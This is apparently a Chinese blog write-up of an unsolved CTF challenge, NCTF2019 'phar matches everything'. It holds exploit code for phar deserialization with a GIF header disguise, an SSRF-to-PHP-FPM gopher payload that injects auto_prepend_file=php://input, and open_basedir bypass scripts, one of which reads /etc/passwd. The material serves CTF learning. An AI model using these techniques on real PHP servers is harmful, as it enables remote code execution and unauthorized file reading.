[NCTF2019]phar matches everything
写在前面:这篇文章并没有把这道题目做出来,一直找不到内网提供PHP-FPM的主机ip,就一直卡在这个地方,目前自己的能力不够,还不能解决这道题;现在将这篇做题的记录发出来,记录学习过程,希望将来回过头来再做这道题的时候能得心应手
第一部分 phar反序列化+文件头和文件名检测绕过
buu平台上给的github源码链接失效了,直接看的wp,一个简单的pop链构造,然后利用phar反序列化
exp.php
<?phpclass Easytest{protected $test = '1';
}
class Main{public $url="http://10.128.253.13";
}
//读/etc/hosts 发现不了内网ip
//需要读 /proc/net/arp
$a = new Easytest();
echo urlencode(serialize($a));
$b = new Main();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->addFromString("text.txt","text");
$phar->setMetadata($b);
$phar->stopBuffering();
rename("phar.phar","phar.gif");
第二部分 SSRF + gopher协议打fpm
1、首先了解fpm是什么,参考p神文章
- FastCGI record 类似HTTP协议,作用对象是服务器的中间件与后端语言进行通信
- FPM(FastCGI Process Manager 叫做FastCGI 进程管理器), FPM按照fastcgi的协议将TCP流解析成真正的数据
- Nignx 会把用户请求变成 key-value对(环境变量),交付给FPM。php-fpm拿到fast-cgi的数据包,进行解析,执行
SCRIPT_FILENAME
所指的文件
2、PHP-FPM未授权访问漏洞
security.limit_extensions
配置(php_fpm),这个字段限定了只有某些特定文件才能被执行,默认是.php- 由于第一条的那个配置,想要利用未授权访问漏洞,必须找一个服务器上存在php文件,通过
find / -name "*.php"
3、PHP-FPM任意代码执行
3.1、涉及到php.ini中两个有意思的配置
- auto_prepend_file 用法:在执行目标文件
之前
,先包含这个字段指向的文件,如果设置为php://input
,等于执行任何php文件前,都要包含post的内容,因此可以将待执行的代码放在body里 - auto_append_file 用法:在执行目标完成
之后
,包含这个字段指向的文件
3.2、涉及到PHP-FPM的两个环境变量,
PHP-VALUE 设置的模式包括
PHP_INI_USER
和PHP_INI_ALL
的选项PHP-ADMIN-VALUE 除了disable_functions之外的所以选项
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
这个地方是个坑,还没找到内网的ip
找到开启fpm的ip,使用gopher脚本生成payload
python gopher.py 内网ip /var/www/html/index.php -p 9000 -c "<?php phpinfo();?>" -u
第三部分 绕过open_basedir的限制
1、首先open_basedir是什么
字面意思,开放的基本路径,作为php.ini中的一个配置选项,将用户的活动区域限定在指定目录
open_basedir限制的是前缀,而不是目录名,在以下的文件夹和文件都可以访问
若要限制仅在指定目录,需要用斜杠结束目录
phpinfo中的core部分
2、如何绕过open_basedir的限制
2.1、利用DirectoryIterator + Glob协议直接列举目录
代码如下:
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){echo "{$f}<br/>";
}
?>
2.2、利用ini_set读取文件内容
代码如下:
<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>//这里的chdir("..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止
2.3、软链接绕过
代码如下:
<?phpmkdir("c");chdir("c");mkdir("d");chdir("d");chdir("..");chdir("..");symlink("c/d","tmplink");symlink("tmplink/../../1.txt","exploit");unlink("tmplink");mkdir("tmplink");echo file_get_contents("http://localhost/exploit");
?>
[NCTF2019]phar matches everything相关推荐
- BUUCTF:[NCTF2019]phar matches everything
题目地址:https://buuoj.cn/challenges#[NCTF2019]phar%20matches%20everything 源码地址:https://github.com/swfan ...
- phar.php error 139,composer.phar 安装出现PHP Fatal error解决办法
报错: PHP Fatal error: Uncaught exception 'PharException' with message 'phar "C:\ProgramData\Com ...
- Jabba: hybrid error correction for long sequencing reads using maximal exact matches机译:Jabba:使用最大精
Jabba: hybrid error correction for long sequencing reads using maximal exact matches 机译:Jabba:使用最大精确 ...
- php 7编译 phar,编译安装php7
php7发布已经有一段时间了,运行性能与HHVM不相上下,甚至在某些环境下超越了HHVM.鸟哥是php7的主要开发者之一,关于php7的来龙去脉大家可以看这篇文章:鸟哥:写在PHP7发布之际一些话.p ...
- 打包phar文件过大的问题。
根据一个开源工具得到的灵感,使用流打包,并使用token_get_all移除了所用PHP文件的空白.现在打包出来只有93k了.谢谢关注. 我一个简单的文件,加上一个symfony的process包,打 ...
- Java中 Character方法练习:字符串中英文字母个数 5435abc54abc3AHJ5 正则:matches([a-zA-Z0-9]{1})...
package com.swift;public class String_Letter_Number_Test {public static void main(String[] args) {/* ...
- php phar 无法创建,php composer.phar install 安装问题
输入 php composer.phar install 后出现下面报错,求大神指点 Loading composer repositories with package information In ...
- 解决Android中No resource found that matches android:TextAppearance.Material.Widget.Button.Inverse问题
如果在刚够构建Android Studio项目的时候,运行发现,出现没找到资源的错误!找不到com.android.support/appcompat-v7/23.0.1/res/values-v23 ...
- zsh:no matches found 问题解决
zsh:no matches found 问题解决 参考文章: (1)zsh:no matches found 问题解决 (2)https://www.cnblogs.com/rongfenglian ...
最新文章
- MyBatis中编写sql语句小于号报错
- Using Artica Squid Open Source Project to Build Powerful and Safe but Simple to Use Proxy
- web服务器 apache_如何配置Apache Web服务器
- Object_clone
- struts2验证码
- 怎么打断点_孩子注意力不集中怎么办?7招提升儿童专注力,方法简单效果好...
- windows程序设设计(2) SDK贴图
- 有钱人也开始消费降级了!
- AT&T拟利用电力线网络提供无线宽带服务
- python panel dataframe_Pandas面板(Panel)
- INTO CORRESPONDING FIELDS OF、去掉前导零,增加前导0。不显示物料号的前导零
- MFC文本编程--退格键的操作
- js简单实现根据身份证号码识别性别年龄生日
- Google MapReduce论文中文版
- 常见的压力面试题及面试技巧
- Pyecharts一文速学-绘制树形图实例+Python代码
- 编程训练-求矩阵乘积
- HTML5 入门( 一)
- JavaScript 自执行函数(闭包)
- 基于Java图书馆管理系统、JAVA图书借阅系统设计与实现 毕业设计开题报告